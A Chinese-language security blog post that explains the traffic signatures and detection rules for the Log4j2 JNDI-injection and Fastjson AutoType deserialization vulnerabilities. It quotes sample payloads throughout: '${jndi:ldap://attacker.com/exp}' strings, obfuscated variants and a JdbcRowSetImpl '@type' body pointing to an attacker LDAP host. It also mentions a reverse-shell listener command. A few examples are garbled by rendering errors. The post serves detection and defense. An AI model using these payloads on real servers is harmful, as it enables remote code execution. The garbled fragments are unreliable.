当前位置: 首页 > news >正文

【HW系列】—Log4j2、Fastjson漏洞流量特征

本文仅用于技术研究,禁止用于非法用途。

文章目录

  • Log4j2漏洞的流量特征及检测方法
      • 一、基础请求特征
      • 二、网络交互特征
      • 三、响应与日志特征
      • 四、绕过技术特征
      • 五、检测与防御建议
  • Fastjson漏洞的流量特征解析
      • 一、请求构造特征
      • 二、响应行为特征
      • 三、攻击载荷特征
      • 四、防御与检测建议

Log4j2漏洞的流量特征及检测方法

Log4j2漏洞(CVE-2021-44228)的流量特征主要体现在JNDI协议注入、Payload构造技巧和响应行为异常等方面。以下是基于多篇技术文档整理的核心特征及检测策略:


一、基础请求特征

  1. JNDI协议标识
    • 流量中直接包含 ${jndi:ldap://attacker.com/exp} 或 ${jndi:rmi://malicious-server/poc} 格式的字符串,常见于HTTP请求头(如User-Agent、Referer)或URL参数中
    • 示例:
GET /search?q=${jndi:ldap://192.168.1.100:1389/Exploit} HTTP/1.1
  1. 编码混淆与绕过
    • 大小写转换:使用 lower: 或 upper: 函数绕过关键字检测,如 KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:J}ndi:ldap://…}。
    • 特殊符号分割:利用 ${::-J} 或嵌套表达式(如 KaTeX parse error: Expected '}', got 'EOF' at end of input: {{env:key}})混淆JNDI标识。
    • URL编码:对Payload进行多重编码,例如 %24%7Bjndi%3Aldap%3A%2F%2F…(对应 ${jndi:ldap://…})。
  2. 协议多样性
    • 攻击者可能混合使用 ldap、rmi、dns 等协议,例如 ${jndi:dns://attacker.com/log} 用于信息外带。

二、网络交互特征

  1. 异常外联行为
    • 受害服务器向攻击者控制的LDAP/RMI服务器发起连接请求(如端口1389、1099),并尝试下载恶意类文件(如 Exploit.class)。
    • 流量中可能伴随DNS查询记录,用于外带敏感信息(如环境变量 env:OS)。
  2. 多阶段攻击流量
    • 第一阶段:通过HTTP请求注入JNDI表达式触发漏洞。
    • 第二阶段:服务器连接LDAP/RMI服务获取恶意类文件。
    • 第三阶段:执行远程代码后,可能建立反向Shell连接(如 nc -lvp 2333)或C2通信。

三、响应与日志特征

  1. 异常响应内容
    • 成功利用时,响应包可能包含命令执行结果(如 whoami 输出)或异常堆栈中的JNDI类信息(如 javax.naming.InitialContext)。
    • 响应长度突变:正常请求响应约200字节,执行恶意代码后因回显结果增至500字节以上。
  2. 日志异常
    • 应用日志中出现大量含JNDI字符串的记录(如 ${jndi:ldap://…})。
    • 堆栈跟踪中暴露 JndiLookup 类调用链或 ClassNotFound 异常(因加载远程恶意类失败)。

四、绕过技术特征

  1. 协议与语法变形
    • 添加冗余字符:如 ${jndi:ldap://attacker.com/ test}(URL末尾加空格)绕过简单正则检测。
    • 利用环境变量嵌套:如 KaTeX parse error: Expected '}', got 'EOF' at end of input: {{env:PROTO}:-jndi}:ldap://…。
  2. 多协议组合利用
    • 使用 ldap:// 触发漏洞后,通过HTTP协议下载恶意类文件,规避仅监控JNDI协议的规则。

五、检测与防御建议

  1. 流量检测规则
    • 正则匹配:针对 ${.jndi:(ldap|rmi|dns).} 及变形表达式设计规则,覆盖大小写转换和编码混淆。
    • 协议监控:拦截异常外联流量(如非业务端口的LDAP/RMI请求)。
  2. 防御策略
    • 版本升级:升级至Log4j2 2.17.0+并移除 JndiLookup 类。
    • 输入过滤:拦截含 ${、jndi: 的请求,禁用日志记录敏感参数。
    • 网络隔离:限制服务器对外访问权限,阻断非常用协议端口。

Fastjson漏洞的流量特征解析

Fastjson漏洞的流量特征主要围绕JSON反序列化机制与AutoType动态类加载展开,具体可从请求构造、攻击载荷、响应行为等维度分析。以下是综合多篇技术文档的核心特征及检测方法:


一、请求构造特征

  1. HTTP方法与数据类型
    • POST请求为主:Fastjson漏洞通常通过POST方法发送JSON数据包。
    • Content-Type标记:请求头中明确标识为 application/json,部分情况下可能伴随 charset=UTF-8 参数。
  2. JSON结构异常
    • @type字段注入:请求体中包含 @type 字段,指向危险类(如 com.sun.rowset.JdbcRowSetImpl、org.apache.tomcat.dbcp.BasicDataSource 等),用于触发动态类加载。
    • 闭合错误:部分攻击载荷的JSON结构不完整,例如花括号未闭合,导致服务端解析异常。
  3. 协议与路径特征
    • JNDI注入标识:请求中包含 ldap://、rmi:// 等协议地址,指向攻击者控制的服务器(如 dataSourceName:“rmi://attacker.com/Exploit”)。
    • 编码混淆:攻击者可能对关键字段进行URL编码或大小写转换(如 %6a%6e%64%69 对应 jndi),以绕过基础检测规则。

二、响应行为特征

  1. 状态码与错误信息
    • 高频400/500状态码:因恶意JSON结构触发解析错误,服务器返回 400 Bad Request 或 500 Internal Server Error。
    • 错误回显关键字:响应包中可能包含 fastjson、autoCommit、setter 等字段,或暴露反序列化堆栈信息(如 com.alibaba.fastjson.JSONException)。
  2. 无回显攻击特征
    • DNSLog外带:利用无回显漏洞时,响应包可能包含DNSLog平台地址(如 dnslog.cn),通过DNS查询验证漏洞存在。
    • 间接响应标识:成功触发漏洞后,可能返回 commit:true 或特定类加载标识(如 JavaBeanInfo 相关日志)。

三、攻击载荷特征

  1. 经典攻击链构造
    • JdbcRowSetImpl利用:通过 dataSourceName 和 autoCommit 字段触发JNDI注入(如 {“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://attacker.com/exp”})。
    • TemplatesImpl类利用:植入恶意字节码至 _bytecodes 字段,结合 _outputProperties 的getter方法触发代码执行。
  2. Tomcat环境适配
    • BasicDataSource类攻击:针对Tomcat环境构造 org.apache.tomcat.dbcp.BasicDataSource 类,利用数据库连接池加载远程恶意配置。
    • 版本适配差异:Tomcat 8.0前后分别使用 dbcp.BasicDataSource 和 dbcp2.BasicDataSource,攻击载荷需匹配目标环境。

四、防御与检测建议

  1. 流量检测规则

    • 正则匹配:针对 @type、JdbcRowSetImpl、ldap:// 等关键字设计规则,覆盖大小写变形和编码混淆。
    • 行为分析:监控高频400/500响应率(如单IP 1分钟内超过30次异常状态码)。
  2. 防御策略

    • 升级至安全版本:Fastjson 1.2.83+ 启用 safemode 模式,或迁移至2.x版本。
    • 关闭AutoType功能:通过启动参数 -Dfastjson.parser.autoTypeAccept= 限制动态类加载。
    • 输入过滤与白名单:拦截包含 ${、jndi: 的请求,仅允许可信类名通过 ParserConfig.addAccept() 添加至白名单。

    注:本文遵循CSDN社区内容规范,不涉及具体攻击实现,重点探讨防御方法论。

http://www.xdnf.cn/news/694675.html

相关文章:

  • Android 16系统源码_无障碍辅助(一)认识无障碍服务
  • 2025.05.28【Choropleth】群体进化学专用图:区域数据可视化
  • WifiEspNow库函数详解
  • 【时时三省】(C语言基础)函数的递归调用例题
  • Flask集成pyotp生成动态口令
  • DeepSeek实战:打造智能数据分析与可视化系统
  • 用 Python 实现了哪些办公自动化
  • canal高可用配置
  • Java开发之定时器学习
  • LVS -DR
  • 每日算法 -【Swift 算法】正则表达式匹配:支持 `.` 和 `*`
  • 如何设计高效的数据湖架构:存储策略、Schema 演进与数据生命周期管理
  • 基于51单片机的音乐盒汽车喇叭调音量proteus仿真
  • 基于Doc2Vec的Markdown文档分类实战:从预处理到模型评估
  • 部署swagger接口文档到云服务器
  • ZooKeeper 命令操作
  • Gin项目脚手架与标配组件
  • 网络协议DHCP
  • YOLO 系列算法的参数量
  • Java大师成长计划之第33天:应用监控与日志管理
  • 顺序表与链表专项训练:在 LeetCode 实战中深化数据结构理解
  • 力扣 秋招 打卡第一天 2025年5月28日 Java
  • Vim 中设置插入模式下输入中文
  • 考研系列-操作系统:第一章、计算机系统概述
  • freecad TechDraw工作台中虚线(隐藏线)的实现方式
  • 桥梁进行3D建模时的数据采集、存储需求及技术参数
  • 监控 Oracle Cloud 负载均衡器:使用 Applications Manager 释放最佳性能
  • android平台驱动开发(六)--Makefile和Kconfig简介
  • vue 实现鼠标放上后显示,挪开后隐藏(点击显示/隐藏)
  • 【微波遥感第一期】基本概念